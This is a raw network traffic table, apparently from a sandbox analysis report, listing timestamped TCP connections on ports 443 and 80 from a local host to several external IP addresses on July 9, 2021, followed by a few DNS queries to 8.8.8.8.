Jul 9, 2021 15:36:34.615670919 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.615735054 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.615802050 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.615876913 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.616300106 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.616314888 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.616328955 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.616384983 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.616394043 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.616420984 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.616813898 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.617185116 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.617204905 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.617568016 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.621488094 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.628556967 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.629569054 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.630845070 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.634947062 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.643450022 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.643486977 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.643511057 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.643532038 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.643615007 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.643769026 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.643946886 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.644015074 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.644061089 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.644159079 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.644239902 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.645114899 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.645198107 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.645277977 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.645700932 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.645776033 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.645849943 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.645925999 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.646820068 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.646862030 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.646913052 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.646943092 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.647620916 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.647692919 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.648111105 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.651896000 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.651932955 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.652015924 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.660067081 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.827970982 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.847841978 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.851183891 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.851367950 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.881798983 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.881825924 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.903837919 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.904026985 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.904869080 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.905564070 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.905729055 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.906403065 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.926626921 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.927369118 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.927489996 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.927540064 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.927581072 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.927598000 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.927689075 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.930043936 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.931088924 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.931154013 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.931185961 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.931263924 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.931309938 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.936183929 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.936712980 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.937164068 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.940105915 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.940701962 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.958435059 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.958470106 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.958682060 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.958916903 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.958954096 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.958982944 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.959022045 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.959067106 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.959079027 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.959302902 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.959336042 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.959378004 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.959399939 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.959896088 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.963818073 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.964160919 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.964241028 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.964318037 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.964334011 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.964396000 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.964410067 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.965702057 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.966753006 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:34.981821060 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:34.990295887 CEST	443	49803	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:35.445892096 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:35.467782974 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:35.468215942 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:35.468271971 CEST	443	49802	82.165.229.16	192.168.2.4
Jul 9, 2021 15:36:35.468414068 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:35.468461037 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:35.509006977 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.509082079 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.528615952 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.528740883 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.529584885 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.530644894 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.530824900 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.531610966 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.549498081 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.549586058 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.549624920 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.549707890 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.549809933 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.553356886 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.553415060 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.553442955 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.553580046 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.553632021 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.556612968 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.557920933 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.559765100 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.576147079 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.577353954 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.577537060 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.577605963 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.581439972 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.582405090 CEST	443	49806	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.582530022 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.598800898 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.598956108 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.599554062 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.599649906 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.600244045 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.600332022 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.600918055 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.600970030 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.600996971 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601035118 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601183891 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601248026 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601397991 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601461887 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601536036 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601587057 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601594925 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601650953 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601665020 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601694107 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601726055 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601741076 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601747990 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601797104 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601800919 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601849079 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601860046 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601903915 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601912022 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601959944 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.601963043 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.601999044 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.602013111 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.602051020 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.602086067 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.602104902 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.618670940 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.618705988 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.618817091 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.618869066 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.619297981 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.619345903 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.619965076 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.620021105 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.620891094 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.620918989 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.620958090 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.620989084 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.621968031 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.621994972 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622033119 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622049093 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622064114 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622102022 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622103930 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622143984 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622195959 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622232914 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622236013 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622267008 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622272968 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622287989 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622312069 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622327089 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622332096 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622370958 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622375011 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622407913 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622411013 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622427940 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622457981 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622461081 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622482061 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622486115 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:35.622507095 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.622535944 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.623174906 CEST	49807	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:35.643383980 CEST	443	49807	195.20.250.115	192.168.2.4
Jul 9, 2021 15:36:36.055222988 CEST	49789	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:36.055257082 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:36.055284977 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:36.055418015 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:36.055530071 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:36.055694103 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:36.055788040 CEST	49802	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:36.055816889 CEST	49806	443	192.168.2.4	195.20.250.115
Jul 9, 2021 15:36:36.055865049 CEST	49803	443	192.168.2.4	82.165.229.16
Jul 9, 2021 15:36:41.673619032 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.674613953 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.802061081 CEST	443	49811	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.802231073 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.802337885 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.802504063 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.814162016 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.814399004 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.945441008 CEST	443	49811	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.945486069 CEST	443	49811	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.945523977 CEST	443	49811	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.945564985 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.945609093 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.947092056 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.947173119 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.947211981 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:41.947216034 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.947254896 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.947269917 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.978351116 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.978440046 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:41.985793114 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:42.107404947 CEST	443	49811	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:42.107523918 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:42.109545946 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:42.109666109 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:42.117573977 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:42.117723942 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:42.117841005 CEST	49810	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:42.150101900 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.150295973 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.165570021 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.165695906 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.166858912 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.172674894 CEST	443	49812	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.172805071 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.173719883 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.181591034 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.181636095 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.181663036 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.181672096 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.181710005 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.181715965 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.187635899 CEST	443	49812	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.187679052 CEST	443	49812	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.187715054 CEST	443	49812	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.187772989 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.187838078 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.187853098 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.188741922 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.189094067 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.192493916 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.202547073 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.202954054 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.203094959 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.206269979 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.206370115 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.206557989 CEST	49813	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.207998991 CEST	443	49812	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.208076954 CEST	49812	443	192.168.2.4	52.97.232.194
Jul 9, 2021 15:36:42.219906092 CEST	443	49813	52.97.232.194	192.168.2.4
Jul 9, 2021 15:36:42.248506069 CEST	443	49810	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:42.263642073 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.263814926 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.280002117 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.280046940 CEST	443	49814	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.280111074 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.280173063 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.281055927 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.281205893 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297635078 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297693014 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297727108 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297729015 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297748089 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297771931 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297776937 CEST	443	49814	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297820091 CEST	443	49814	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297847986 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297857046 CEST	443	49814	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.297878027 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.297894001 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.303641081 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.304116011 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.304253101 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.317852974 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.318336010 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.318394899 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.319099903 CEST	443	49814	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.319246054 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.324404955 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.324455976 CEST	443	49815	52.97.201.210	192.168.2.4
Jul 9, 2021 15:36:42.324498892 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:42.324517965 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:43.414932013 CEST	49811	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:43.415188074 CEST	49815	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:43.415313959 CEST	49814	443	192.168.2.4	52.97.201.210
Jul 9, 2021 15:36:43.415388107 CEST	49812	443	192.168.2.4	52.97.232.194

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2021 15:33:53.789812088 CEST	55854	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:53.802712917 CEST	53	55854	8.8.8.8	192.168.2.4
Jul 9, 2021 15:33:55.209062099 CEST	64549	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:55.221905947 CEST	53	64549	8.8.8.8	192.168.2.4
Jul 9, 2021 15:33:56.235192060 CEST	63153	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:56.249269962 CEST	53	63153	8.8.8.8	192.168.2.4
Jul 9, 2021 15:33:57.276942015 CEST	52991	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:57.290170908 CEST	53	52991	8.8.8.8	192.168.2.4
Jul 9, 2021 15:33:58.015587091 CEST	53700	53	192.168.2.4	8.8.8.8
Jul 9, 2021 15:33:58.028660059 CEST	53	53700	8.8.8.8	192.168.2.4
